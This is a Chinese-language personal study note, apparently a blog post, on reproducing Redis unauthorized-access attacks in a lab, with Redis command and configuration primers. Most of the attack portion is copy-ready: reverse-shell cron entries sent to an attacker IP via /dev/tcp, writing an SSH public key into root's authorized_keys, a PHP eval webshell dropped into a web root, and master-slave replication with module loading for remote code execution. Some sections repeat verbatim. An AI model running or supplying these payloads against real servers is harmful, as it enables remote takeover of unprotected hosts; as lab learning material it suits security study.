SSRF + Redis 利用方式学习笔记 - 1ndex- - 博客园

Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用 - 春告鳥 - 博客园

这个思路比较清晰

redis未授权漏洞复现(超详细) - 红云hongyun - 博客园

10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园

这个比较详细

Redis安全漏洞全解析:未授权访问、主从复制原理分析与本地靶场实战(超详细)_redis主从复制漏洞-CSDN博客

单讲主从复制

Redis主从复制代码执行漏洞 | Tahir's Wiki

 这篇讲了resp

SSRF漏洞之Redis利用篇【三】 - FreeBuf网络安全行业门户

挺完整的

Redis漏洞及其利用方式-先知社区

先看看redis咋用吧

Redis 配置 | 菜鸟教程

String(字符串)

string 是 redis 最基本的类型,你可以理解成与 Memcached 一模一样的类型,一个 key 对应一个 value。

string 类型是二进制安全的。意思是 redis 的 string 可以包含任何数据,比如jpg图片或者序列化的对象。

string 类型是 Redis 最基本的数据类型,string 类型的值最大能存储 512MB。

常用命令

  • SET key value:设置键的值。
  • GET key:获取键的值。
  • INCR key:将键的值加 1。
  • DECR key:将键的值减 1。
  • APPEND key value:将值追加到键的值之后。

实例

redis 127.0.0.1:6379> SET runoob "菜鸟教程"
OK
redis 127.0.0.1:6379> GET runoob
"菜鸟教程"

Hash(哈希)

Redis hash 是一个键值(key=>value)对集合,类似于一个小型的 NoSQL 数据库。

Redis hash 是一个 string 类型的 field 和 value 的映射表,hash 特别适合用于存储对象。

每个哈希最多可以存储 2^32 - 1 个键值对。

常用命令

  • HSET key field value:设置哈希表中字段的值。
  • HGET key field:获取哈希表中字段的值。
  • HGETALL key:获取哈希表中所有字段和值。
  • HDEL key field:删除哈希表中的一个或多个字段。

实例

DEL runoob 用于删除前面测试用过的 key,不然会报错:(error) WRONGTYPE Operation against a key holding the wrong kind of value

redis 127.0.0.1:6379> DEL runoob
redis 127.0.0.1:6379> HMSET runoob field1 "Hello" field2 "World"
"OK"
redis 127.0.0.1:6379> HGET runoob field1
"Hello"
redis 127.0.0.1:6379> HGET runoob field2
"World"

常见命令

INFO 命令

作用:INFO 命令是获取 Redis 实例内部状态最全面、最权威的工具,堪称 Redis 运维的"瑞士军刀"。它提供 Redis 实例的实时运行状态信息,包括服务器信息、客户端连接、内存使用、持久化状态、统计信息等多个维度。

使用方式

  • INFO:获取所有信息(默认)
  • INFO server:获取服务器信息
  • INFO memory:获取内存使用信息
  • INFO stats:获取统计信息
  • INFO all:获取所有章节信息

输出内容

  • Server:Redis 版本、运行模式、操作系统、TCP 端口等
  • Clients:连接客户端数量、输入输出缓冲区等
  • Memory:内存使用情况、碎片率等
  • Persistence:持久化状态(RDB/AOF)
  • Stats:操作统计(连接数、命令处理量等)
  • Replication:主从复制状态

用途:主要用于监控和诊断 Redis 实例的运行状态,例如:

  • 检查内存使用情况(used_memory)
  • 查看连接数(connected_clients)
  • 监控操作吞吐量(instantaneous_ops_per_sec)

CONFIG GET * 命令

作用:CONFIG GET 命令用于获取 Redis 服务的配置参数,查看 Redis 的配置设置。

使用方式

  • CONFIG GET parameter:获取特定配置参数
  • CONFIG GET *:获取所有配置参数
  • CONFIG GET s*:获取所有以 s 开头的配置参数

输出内容

  • 以键值对形式返回配置参数
  • 例如:1) "requirepass" 2) (nil) 表示没有设置密码

用途:主要用于查看 Redis 的配置,特别是安全配置,例如:

  • 检查是否设置了密码(requirepass
  • 检查是否限制了绑定 IP(bind
  • 检查持久化设置(appendonlysave等)

两者的关键区别

特性 INFO 命令 CONFIG GET * 命令
主要用途 获取实例的实时运行状态 获取 Redis 的配置参数
输出内容 运行时统计数据(内存、连接、操作等) 配置文件中的设置参数
安全相关 不能直接显示安全配置 可直接显示安全配置(如密码、绑定IP)
示例 INFO memory 显示内存使用情况 CONFIG GET requirepass 显示密码设置
典型应用 监控性能、诊断问题 配置安全策略、验证配置

redis未授权漏洞复现(超详细) - 红云hongyun - 博客园

10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园

实战中redis常用命令:
1.redis-cli -h ip -p 6379 -a passwd   # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
2.info 																# 查看相关redis信息
3.set xz "Hacker"                     # 设置键xz的值为字符串Hacker
4.get xz                              # 获取键xz的内容
5.INCR score                          # 使用INCR命令将score的值增加1
6.keys *                              # 列出当前数据库中所有的键
7.config set protected-mode no        # 关闭安全模式
8.get anotherkey                      # 获取一个不存在的键的值
9.config set dir /root/redis          # 设置保存目录
10.config set dbfilename redis.rdb     # 设置保存文件名
11.config get dir                      # 查看保存目录
12.config get dbfilename               # 查看保存文件名
13.save                                # 进行一次备份操作
14.flushall                            # 删除所有数据
15.del key                             # 删除键为key的数据
16.slaveof ip port   					# 设置主从关系

17.127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3   #批量设置键值对
				   OK

18.127.0.0.1:6379> mget k1 k2 k3 		#批量获取键值对
				1) "v1"
				2) "v2"
				3) "v3"
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";
redis.conf 配置文件参数

port参数

格式:port <端口号>
示例:port 6379
说明:指定Redis服务器监听的端口号,客户端将通过该端口连接服务器。

bind参数

格式:bind <IP地址1> <IP地址2>...
示例:bind 192.168.47.173 10.0.0.1
说明:设置允许连接的IP地址白名单,多个IP用空格分隔。设置为0.0.0.0时允许任意IP连接。

save参数

格式:save <秒数> <键值变化次数>
示例:

save 900 1
save 300 10
save 60 10000

说明:配置数据持久化规则,当指定时间间隔内发生指定次数的数据变更时,自动将内存数据保存到磁盘。

requirepass参数

格式:requirepass <密码>
说明:设置客户端连接密码。默认无密码,配置文件中示例密码为"foobared"(注释状态)。

dir参数

格式:dir <目录路径>
默认值:dir ./
说明:指定Redis工作目录,所有持久化文件将存储在此目录下。

dbfilename参数

格式:dbfilename <文件名>
默认值:dbfilename dump.rdb
说明:定义持久化数据文件的名称。

config命令

说明:用于动态修改配置参数。出于安全考虑,可通过rename-command重命名该命令。
示例:rename-command CONFIG HTCMD

protected-mode参数

说明:Redis 3.2+新增的安全模式,默认开启(yes)会阻止外部连接。测试时可临时设置为no。

复习一下计划任务咋写

crontab使用说明【一文搞懂Linux定时任务Crontab】 - 暮良文王 - 博客园

人家用的是不是kali的

kali对应的查看计划任务是

systemctl status cron

反弹shell

开监听

弹shell

成功

用计划任务弹

关键分析

* * * * * bash -c 'bash -i >& /dev/tcp/192.168.176.128/6111 0>&1'
字段 含义
* * * * * 每分钟执行一次(5个*分别代表:分 时 日 月 周)
bash -c '...' 用 bash 执行反弹 shell 命令
192.168.176.128 攻击者 IP(你的 Kali)
6111 监听端口

redis未授权写计划任务

// 设置key
set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.253.128/2333 0>&1\n\n"
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了

什么是 dir 参数?

dir 是 Redis 配置文件中的一个关键参数,它的原始作用指定 Redis 持久化文件的存储目录

详细说明

  1. 默认值

    • dir 的默认值是当前工作目录(即 Redis 服务器启动时所在的目录,通常表示为 ./ 或 .)。
    • 例如:当 Redis 以守护进程方式运行时,它会将数据文件保存在 Redis 服务器启动时所在的目录。
  2. 作用

    • dir 参数决定了 Redis 生成的持久化文件(RDB 快照文件和 AOF 文件)将被保存到哪个目录。
    • 仅影响持久化功能,不影响 Redis 的其他功能。
  3. 在配置文件中的位置

    • 在 Redis 的配置文件(redis.conf)中,dir 通常这样设置:text
      dir /var/lib/redis
    • 这表示 Redis 会将数据文件保存在 /var/lib/redis 目录下。
  4. 为什么重要

    • 选择合适的存储目录可以确保 Redis 实例的数据安全性和性能。
    • 生产环境中通常会将 dir 设置为专门的、有足够空间的目录,而不是默认的当前工作目录。

与 dbfilename 的关系

  • dir 是目录dbfilename 是文件名
  • 例如,如果 dir 设置为 /var/lib/redisdbfilename 设置为 dump.rdb,那么 RDB 文件将保存为:text
    /var/lib/redis/dump.rdb

为什么在漏洞利用中会被修改

在未授权 Redis 漏洞利用中,攻击者会临时修改 dir 参数(如 config set dir /var/spool/cron/),将 Redis 的持久化目录指向系统 cron 目录,然后通过 config set dbfilename root 设置文件名,最后执行 save 将恶意内容写入到 /var/spool/cron/root(即 root 用户的 crontab 文件),从而实现远程命令执行。

重要提示

正常使用一下Redis 持久化

然后看下有换行的情况

懂了,就是用了save之后你用redis设置的数据才写到数据库,然后数据库的路径和文件名都可以控制

Redis 的数据持久化机制实际上是:

数据始终驻留在内存中
执行 save 命令时,会将当前内存中的完整数据状态快照写入磁盘文件

具体流程说明:

set a 1  # 数据立即写入内存
save     # 将内存数据快照写入 dump.rdb 文件

🔍 核心要点解析

1️⃣ 内存数据库特性
Redis 作为内存数据库:

  • 所有数据默认存储在 RAM 中
  • 断电会导致数据丢失

2️⃣ RDB 持久化原理
执行 save 命令时:

  • Redis 将整个内存数据集序列化
  • 一次性写入 .rdb 文件(非增量写入)

3️⃣ 存储路径配置
默认配置:

dir /data
dbfilename dump.rdb

支持动态修改:

config set dir /var/www/html
config set dbfilename shell.php

修改后执行 save 将写入:

/var/www/html/shell.php

报错信息:

ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config

原因分析:

🔐 Redis 8.0 及以上版本默认启用了"受保护配置"机制

根据 apt 输出显示: redis-server 版本为 5:8.0.5-1

这表明:

  1. 该问题与权限无关
  2. Redis 8.0 默认禁止此类危险配置修改
  3. 该机制有效防御了经典的未授权 cron 写入漏洞

漏洞环境要

修改配置文件
vim打开redis.conf文件,然后找到daemonize 值改为yes(后台启动,不然窗口一关服务就挂了)
bind 127.0.0.1注释掉,否则只允许本地访问
requirepass yourpassword可以设置密码(这个实验就先不设置了)
protected-mode no
启动redis服务:需要两个文件 redis-server redis.conf(注意这两个并不是在同一级目录,根据自己当前所在目录进行调用)
enable-protected-configs yes   (补充)

① daemonize yes

作用:

是否后台运行

跟漏洞利用完全无关。

只是让 redis 变成守护进程。


② bind 127.0.0.1

作用:

限制只能本地访问

你注释掉之后:

bind *

就可以远程访问。

这只是“暴露服务”。


③ requirepass

设置密码。

没设置 = 未授权。


④ protected-mode

这是旧版的“安全模式”。

如果:

  • 没密码

  • 绑定 0.0.0.0

它会自动拒绝外部连接。

但:

⚠ 它并不控制 CONFIG SET dir


🎯 真正控制你失败的,是这个

Redis 8 默认:

enable-protected-configs no

意思是:

禁止在线修改敏感配置

包括:

  • dir

  • dbfilename

  • requirepass

  • masterauth

所以你改前面那些没用。

成功

Redis 未授权访问漏洞中常见 root 用户计划任务写入的原因:

  1. 进程权限问题
  • 旧版 Redis 服务通常以 root 身份运行
  • 导致其创建的文件默认归属 root
  1. Cron 任务类型分析 📌 用户级 crontab
  • 路径:/var/spool/cron/crontabs/用户名
  • 写入要求:必须具备相应用户权限

📌 系统级 crontab

  • 示例路径:/etc/crontab
  • 格式差异:
            • [用户] [命令]
  • 示例:
            • root /usr/bin/python3 /root/test.py
  1. 攻击者偏好 root 的原因
  • 历史背景: • 早期 Redis 常以 root 权限运行(ps aux | grep redis 可见) • 具备 /var/spool/cron/ 目录写入权限 • 可操作 root 用户的 crontab
  • 执行优势: • cron 以 root 权限运行时可获得最大控制权

改完还要重启服务

之所以很多 Redis 未授权的计划任务写 root,是因为:

Redis 进程在很多旧环境里是以 root 身份运行的。

所以它写入的文件,自然也是 root 的。


🔎 先看 cron 的两种类型

① 用户级 crontab

路径通常是:

/var/spool/cron/crontabs/用户名

如果你想写入某个用户的计划任务:

👉 必须有该用户的权限。


② 系统级 crontab

例如:

/etc/crontab

这里的格式是:

分 时 日 月 星期 用户 命令

注意:多了一个“执行用户”字段。

比如:

* * * * * root /usr/bin/python3 /root/test.py

这里明确指定用 root 执行。


🔥 那为什么利用里几乎都写 root?

因为早期很多 Redis 环境:

redis-server 以 root 启动

也就是说:

ps aux | grep redis

会看到:

root 1234 redis-server

那么:

  • Redis 有权限写 /var/spool/cron/

  • 可以写 root 的 crontab

  • cron 执行时也是 root

于是效果最大。

注意redis启动的时候要用root启动啊

不然写到root的

  1. 权限问题根源

    • /var/spool/cron/ 目录权限:drwxr-xr-x(755)
    • redis 用户不是 root没有写权限(只有 root 有写权限)

在 Kali/Debian 上,用户 crontab 的标准路径通常是: 👉

/var/spool/cron/crontabs/root

而你写入的路径是: 👉 /var/spool/cron/root

3.1.2 远程连接Redis服务器并写入反弹Payload
// 设置key
set xxx "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/192.168.176.128/6111 0>&1'\n\n"
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了

但是格式不对,不知道是不是我下的最新版的redis是不是改了啥

下个旧版的重来吧

好吧,直接抄别人的环境也用centos7了

tar -zxvf redis-4.0.10.tar.gz

find / -name redis-server 

可以找

centos要关防火墙,连上了。

难道是之前命令不同吗

确实是用了-c后

⚠ 但 RDB 是 二进制格式

所以写 cron 是“概率成功”

SSH公钥认证使用指南

一、在Kali Linux生成密钥对

  1. 执行以下命令生成RSA密钥对:

    ssh-keygen -t rsa -b 2048
    
  2. 生成过程中连续按回车键接受默认设置

  3. 生成的密钥文件位于:

    ~/.ssh/id_rsa      # 私钥
    ~/.ssh/id_rsa.pub  # 公钥
    
  4. 验证生成结果:

    ls -l ~/.ssh
    

    应显示id_rsaid_rsa.pub两个文件

二、上传公钥至目标服务器

假设服务器IP地址为192.168.176.135

  1. 使用以下命令上传公钥:

    ssh-copy-id root@192.168.176.135
    

  2. 根据提示输入服务器密码完成认证

  3. 成功上传后,服务器会自动在/root/.ssh/目录下创建authorized_keys文件并添加你的公钥

三、测试免密登录

  1. 使用以下命令连接服务器:
    ssh root@192.168.176.135
    

  2. 成功标志:
    • 无需输入密码
    • 直接进入服务器shell环境

SSH公钥认证使用指南

一、在Kali Linux生成密钥对

  1. 执行以下命令生成RSA密钥对:

    ssh-keygen -t rsa -b 2048
    
  2. 生成过程中连续按回车键接受默认设置

  3. 生成的密钥文件位于:

    ~/.ssh/id_rsa      # 私钥
    ~/.ssh/id_rsa.pub  # 公钥
    
  4. 验证生成结果:

    ls -l ~/.ssh
    

    应显示id_rsaid_rsa.pub两个文件

二、上传公钥至目标服务器

假设服务器IP地址为192.168.176.135

  1. 使用以下命令上传公钥:

    ssh-copy-id root@192.168.176.135
    
  2. 根据提示输入服务器密码完成认证

  3. 成功上传后,服务器会自动在/root/.ssh/目录下创建authorized_keys文件并添加你的公钥

三、测试免密登录

  1. 使用以下命令连接服务器:
    ssh root@192.168.176.135
    
  2. 成功标志:
    • 无需输入密码
    • 直接进入服务器shell环境

若您已成功通过SSH公钥登录服务器,可通过以下方式移除授权密钥:

  1. 彻底删除所有公钥:
rm -f /root/.ssh/authorized_keys
  1. 选择性删除特定公钥:
vim /root/.ssh/authorized_keys

在编辑器中删除对应的公钥行即可。

此方法操作简单且安全可靠。

若您已成功通过SSH公钥登录服务器,可通过以下方式移除授权密钥:

  1. 彻底删除所有公钥:
rm -f /root/.ssh/authorized_keys
  1. 选择性删除特定公钥:
vim /root/.ssh/authorized_keys

在编辑器中删除对应的公钥行即可。

此方法操作简单且安全可靠。

删完要密码了,用redis写

一、查看自己的公钥

在 Kali 执行:

cat ~/.ssh/id_rsa.pub

如果你用的是新版默认密钥(ed25519),执行:

cat ~/.ssh/id_ed25519.pub

但是有乱码

多写几个换行

还是别人的简洁。

3.1.2 远程连接Redis服务器并写入反弹Payload
// 设置key
set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.253.128/2333 0>&1\n\n"
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了

3.2 利用写入公钥登录ssh

3.2.1 kali 生成公私钥
// 生成公私钥
ssh-keygen -t rsa

// 防止乱码,导出key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

// 导入内容
cat key.txt| redis-cli -h 192.168.253.135 -x set putsshkey

3.2.2 远程连接Redis服务器并写入公钥

这个注意如果centos7没有.ssh,创建一个就行

// 设置路径
config set dir /root/.ssh
// 设置文件名
config set dbfilename authorized_keys
// 保存key值到root文件中
save
3.2.3 kali 远程登录目标系统
ssh -i id_rsa root@192.168.253.135

3.3 利用写入WEBShell连接远程服务器

3.3.1 远程连接Redis服务器并写入WEBShell
这个想要复现可以在Linux一键部署个小皮面板:这个是centos安装的脚本
yum install -y wget && wget -O install.sh https://download.xp.cn/install.sh && sh install.sh
注意事项:
/www/admin/localhost_80/wwwroot 这个是默认根路径
然后你可能把一句话木马传上去了,但是蚁剑连接不上
1.先是排查一句话木马有没有写错
2.然后就是排查小皮的apache的服务有没有起来,这个要去浏览器的的管理界面去看,然后如果没启,就把它起来,如果报错,可能是这个80端口被占用
netstat -anlp | grep 80
来排查哪个服务占用的,把那个服务停了,再启apache就行了

利用条件:

  • 知道网站根目录绝对路径(实际渗透过程中,这个方法通常需要搭配 phpinfo() 等方法使用。)
  • 无需是 root 起的 Redis
  • 可适用于 Windows(非 ssh 连接)
  • 一般无需 flushall 清空数据库(一定情况下也需要)
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename webshell.php
set x '<?php @eval($_GET["cmd"]);phpinfo();?>'
save
蚁剑连接

xp现在默认的

  • 站点根目录:/xp/www/站点域名或IP/

config set dir /xp/www/192.168.176.135
config set dbfilename webshell.php
set x '<?php @eval($_GET["cmd"]);phpinfo();?>'
save
蚁剑连接

webshell只要包裹在不需要考虑乱码问题,因为php只会解析<?php ?>  里面的。

redis主从复制rce

但是不用工具的话

你这个问题问到了 Redis 主从复制的核心逻辑,结论先给你:绝大多数情况下,首次建立主从连接会触发全量复制;只有满足特定条件时,才会触发增量复制。结合你做的 Redis 攻击场景,我把这个逻辑讲透:

一、核心结论:首次主从连接 ≈ 必然触发全量复制

当你执行SLAVEOF 攻击机IP 端口后,目标 Redis(从节点)和攻击机 Redis(主节点)首次建立连接时,99% 的情况会触发全量复制(FULLRESYNC),也就是你截图里看到的PSYNC ? -1FULLRESYNC的过程。

只有两种极端情况不会触发全量复制(对你的攻击场景来说,基本遇不到):

  1. 从节点之前同步过这个主节点,且主节点还保留着从节点的 “复制偏移量” 和 “积压缓冲区”;
  2. 主从之间的网络断连后重新连接,且断连时间短、数据积压没超过缓冲区大小。

这篇文章手动打的主从复制

Redis漏洞总结 - FreeBuf网络安全行业门户

照着教程搞

✅ 而是 未授权访问 + 主从复制机制 + 模块加载机制 组合形成的攻击链

但是用工具打的话感觉不是很理解

手把手教你玩儿一下 Redis Module 之模块解读 - 知乎

先玩下redis模块

1️⃣ 编译命令解析

cc -Wall -Wno-unused-function -g -ggdb -O2 -fPIC -std=gnu99 -D_GNU_SOURCE -c -o module.o module.c
  • cc:调用 GCC C 编译器
  • -Wall -Wno-unused-function:启用所有编译警告(排除未使用函数警告)
  • -g -ggdb:生成 GDB 调试信息
  • -O2:启用二级优化
  • -fPIC:生成位置无关代码(动态库必需)
  • -std=gnu99:采用 GNU 扩展的 C99 标准
  • -D_GNU_SOURCE:启用 GNU 特有函数
  • -c:仅编译不链接
  • -o module.o:输出目标文件
  • module.c:源文件

此步骤将 module.c 编译为中间目标文件 module.o

2️⃣ 链接命令解析

ld -o panda.so module.o -shared -Bsymbolic -Bsymbolic-functions -lc
  • ld:调用链接器
  • -o panda.so:输出动态库文件
  • module.o:输入目标文件
  • -shared:生成共享库
  • -Bsymbolic -Bsymbolic-functions:确保模块内部符号绑定
  • -lc:链接标准 C 库

此步骤将 module.o 链接为 Redis 可加载的动态库 panda.so

🔧 编译流程

module.c → (编译) → module.o → (链接) → panda.so
  • .c:C 源代码
  • .o:编译后的目标文件
  • .so:动态库(Redis 可直接加载)

Redis 模块详解

本质与机制

Redis 模块是通过动态库(.so)扩展 Redis 功能的官方方案,允许:

  • 添加自定义命令
  • 实现新数据结构
  • 通过 C 代码增强 Redis 功能
命令注册原理

模块通过类似以下代码注册命令:

RedisModule_CreateCommand(ctx, "panda.hello", PandaHelloCommand, "readonly", 0,0,0);
  • "panda.hello":注册的命令名
  • PandaHelloCommand:对应的 C 函数实现
  • "readonly":声明命令属性
安全考量
  • 正常模块:仅实现声明功能(如字符画打印)
  • 风险模块:可能包含系统命令执行等危险操作
execve("/bin/sh", NULL, NULL);  // 潜在危险代码示例

模块安全性完全取决于实现逻辑,加载需谨慎

1️⃣ 编译命令解析

cc -Wall -Wno-unused-function -g -ggdb -O2 -fPIC -std=gnu99 -D_GNU_SOURCE -c -o module.o module.c
  • cc:调用 GCC C 编译器
  • -Wall -Wno-unused-function:启用所有编译警告(排除未使用函数警告)
  • -g -ggdb:生成 GDB 调试信息
  • -O2:启用二级优化
  • -fPIC:生成位置无关代码(动态库必需)
  • -std=gnu99:采用 GNU 扩展的 C99 标准
  • -D_GNU_SOURCE:启用 GNU 特有函数
  • -c:仅编译不链接
  • -o module.o:输出目标文件
  • module.c:源文件

此步骤将 module.c 编译为中间目标文件 module.o

2️⃣ 链接命令解析

ld -o panda.so module.o -shared -Bsymbolic -Bsymbolic-functions -lc
  • ld:调用链接器
  • -o panda.so:输出动态库文件
  • module.o:输入目标文件
  • -shared:生成共享库
  • -Bsymbolic -Bsymbolic-functions:确保模块内部符号绑定
  • -lc:链接标准 C 库

此步骤将 module.o 链接为 Redis 可加载的动态库 panda.so

🔧 编译流程

module.c → (编译) → module.o → (链接) → panda.so
  • .c:C 源代码
  • .o:编译后的目标文件
  • .so:动态库(Redis 可直接加载)

Redis 模块详解

本质与机制

Redis 模块是通过动态库(.so)扩展 Redis 功能的官方方案,允许:

  • 添加自定义命令
  • 实现新数据结构
  • 通过 C 代码增强 Redis 功能
命令注册原理

模块通过类似以下代码注册命令:

RedisModule_CreateCommand(ctx, "panda.hello", PandaHelloCommand, "readonly", 0,0,0);
  • "panda.hello":注册的命令名
  • PandaHelloCommand:对应的 C 函数实现
  • "readonly":声明命令属性
安全考量
  • 正常模块:仅实现声明功能(如字符画打印)
  • 风险模块:可能包含系统命令执行等危险操作
execve("/bin/sh", NULL, NULL);  // 潜在危险代码示例

模块安全性完全取决于实现逻辑,加载需谨慎

panda.so的c源码是

#include <stdio.h>
#include <stdlib.h>
#include<sys/time.h>
#include <string.h>
#include "redismodule.h"

int HelloCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    char pandaSrt[] = "                              _,add8ba,\n"
                        "                            ,d888888888b,\n"
                        "                           d8888888888888b                        _,ad8ba,_\n"
                        "                          d888888888888888)                     ,d888888888b,\n"
                        "                          I8888888888888888 _________          ,8888888888888b\n"
                        "                __________`Y88888888888888P\"\"\"\"\"\"\"\"\"\"\"baaa,__ ,888888888888888,\n"
                        "            ,adP\"\"\"\"\"\"\"\"\"\"\"9888888888P\"\"^                 ^\"\"Y8888888888888888I\n"
                        "         ,a8\"^           ,d888P\"888P^                           ^\"Y8888888888P'\n"
                        "       ,a8^            ,d8888'                                     ^Y8888888P'\n"
                        "      a88'           ,d8888P'                                        I88P\"^\n"
                        "    ,d88'           d88888P'                                          \"b,\n"
                        "   ,d88'           d888888'                                            `b,\n"
                        "  ,d88'           d888888I                                              `b,\n"
                        "  d88I           ,8888888'            ___                                `b,\n"
                        " ,888'           d8888888          ,d88888b,              ____            `b,\n"
                        " d888           ,8888888I         d88888888b,           ,d8888b,           `b\n"
                        ",8888           I8888888I        d8888888888I          ,88888888b           8,\n"
                        "I8888           88888888b       d88888888888'          8888888888b          8I\n"
                        "d8886           888888888       Y888888888P'           Y8888888888,        ,8b\n"
                        "88888b          I88888888b      `Y8888888^             `Y888888888I        d88,\n"
                        "Y88888b         `888888888b,      `\"\"\"\"^                `Y8888888P'       d888I\n"
                        "`888888b         88888888888b,                           `Y8888P^        d88888\n"
                        " Y888888b       ,8888888888888ba,_          _______        `\"\"^        ,d888888\n"
                        " I8888888b,    ,888888888888888888ba,_     d88888888b               ,ad8888888I\n"
                        " `888888888b,  I8888888888888888888888b,    ^\"Y888P\"^      ____.,ad88888888888I\n"
                        "  88888888888b,`888888888888888888888888b,     \"\"      ad888888888888888888888'\n"
                        "  8888888888888698888888888888888888888888b_,ad88ba,_,d88888888888888888888888\n"
                        "  88888888888888888888888888888888888888888b,`\"\"\"^ d8888888888888888888888888I\n"
                        "  8888888888888888888888888888888888888888888baaad888888888888888888888888888'\n"
                        "  Y8888888888888888888888888888888888888888888888888888888888888888888888888P\n"
                        "  I888888888888888888888888888888888888888888888P^  ^Y8888888888888888888888'\n"
                        "  `Y88888888888888888P88888888888888888888888888'     ^88888888888888888888I\n"
                        "   `Y8888888888888888 `8888888888888888888888888       8888888888888888888P'\n"
                        "    `Y888888888888888  `888888888888888888888888,     ,888888888888888888P'\n"
                        "     `Y88888888888888b  `88888888888888888888888I     I888888888888888888'\n"
                        "       \"Y8888888888888b  `8888888888888888888888I     I88888888888888888'\n"
                        "         \"Y88888888888P   `888888888888888888888b     d8888888888888888'\n"
                        "            ^\"\"\"\"\"\"\"\"^     `Y88888888888888888888,    888888888888888P'\n"
                        "                             \"8888888888888888888b,   Y888888888888P^\n"
                        "                              `Y888888888888888888b   `Y8888888P\"^\n"
                        "                                \"Y8888888888888888P     `\"\"\"\"^\n"
                        "                                  `\"YY88888888888P'\n"
                        "";
    RedisModule_ReplyWithSimpleString(ctx, pandaSrt);
    return REDISMODULE_OK;
}

int SimpleRandCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    long int randNum = rand();
    RedisModule_ReplyWithLongLong(ctx, randNum);
    return REDISMODULE_OK;
}

int GetTimeCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    struct timeval tp;
    gettimeofday(&tp, NULL);
    long int millisecs = tp.tv_sec * 1000 + tp.tv_usec / 1000;
    RedisModule_ReplyWithLongLong(ctx, millisecs);
    return REDISMODULE_OK;
}


int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (RedisModule_Init(ctx, "panda", 1, REDISMODULE_APIVER_1) ==
        REDISMODULE_ERR) {
        return REDISMODULE_ERR;
    }

    RedisModule_Log(ctx, "info", "panda redis module start up");

    if (RedisModule_CreateCommand(ctx, "panda.hello", HelloCommand, "write fast",
                                  1, 1, 1) == REDISMODULE_ERR) {
        return REDISMODULE_ERR;

    }

    if (RedisModule_CreateCommand(ctx, "panda.rand", SimpleRandCommand, "readonly",
                                  1, 1, 1) == REDISMODULE_ERR) {
        return REDISMODULE_ERR;
    }

    if (RedisModule_CreateCommand(ctx, "panda.time", GetTimeCommand, "readonly",
                                  1, 1, 1) == REDISMODULE_ERR) {
        return REDISMODULE_ERR;
    }


    return REDISMODULE_OK;
}

1️⃣ C 文件与 .so 文件对比 module.c 或 panda.c 是 C 语言源代码文件:

#include "redismodule.h"
int HelloCommand(...) { ... }
int RedisModule_OnLoad(...) { ... }

这些文本文件需要经过编译才能被 CPU 执行。通过 make 命令完成编译过程:

cc -Wall -fPIC -std=gnu99 -c module.c -o module.o
ld -shared -o panda.so module.o

编译过程说明:

  • -c 选项:生成包含机器码的目标文件 module.o
  • -shared 选项:将目标文件链接为动态库 .so 文件

.so 文件本质是包含机器码的动态链接库,可以被 Redis 等程序直接加载调用。

2️⃣ Redis 模块运行机制 Redis 模块实质就是一个 .so 文件:

  1. Redis 加载模块:MODULE LOAD /path/to/panda.so
  2. 自动查找并执行模块中的 RedisModule_OnLoad 函数
  3. RedisModule_OnLoad 中注册自定义命令:
RedisModule_CreateCommand(ctx, "panda.hello", HelloCommand, "write fast", 1, 1, 1);
RedisModule_CreateCommand(ctx, "panda.rand", SimpleRandCommand, "readonly", 1, 1, 1);

注册成功后即可在 Redis 中调用:

127.0.0.1:6379> panda.hello
127.0.0.1:6379> panda.rand
127.0.0.1:6379> panda.time

3️⃣ 安全评估 当前模块功能安全无害:

  • panda.hello:输出字符画
  • panda.rand:生成随机数
  • panda.time:返回当前时间戳

⚠️ 安全警告: 若模块包含 system()execve() 或文件操作函数,则可能造成 RCE(远程代码执行)风险。

🔑 核心要点

  • C 文件:人类可读的源代码
  • .so 文件:机器可执行的编译结果
  • 模块命令功能完全取决于源码实现

💡 编译流程示意图:

C源代码 → 编译器 → .so 动态库 → Redis 加载执行

1️⃣ C 文件与 .so 文件对比 module.c 或 panda.c 是 C 语言源代码文件:

#include "redismodule.h"
int HelloCommand(...) { ... }
int RedisModule_OnLoad(...) { ... }

这些文本文件需要经过编译才能被 CPU 执行。通过 make 命令完成编译过程:

cc -Wall -fPIC -std=gnu99 -c module.c -o module.o
ld -shared -o panda.so module.o

编译过程说明:

  • -c 选项:生成包含机器码的目标文件 module.o
  • -shared 选项:将目标文件链接为动态库 .so 文件

.so 文件本质是包含机器码的动态链接库,可以被 Redis 等程序直接加载调用。

2️⃣ Redis 模块运行机制 Redis 模块实质就是一个 .so 文件:

  1. Redis 加载模块:MODULE LOAD /path/to/panda.so
  2. 自动查找并执行模块中的 RedisModule_OnLoad 函数
  3. RedisModule_OnLoad 中注册自定义命令:
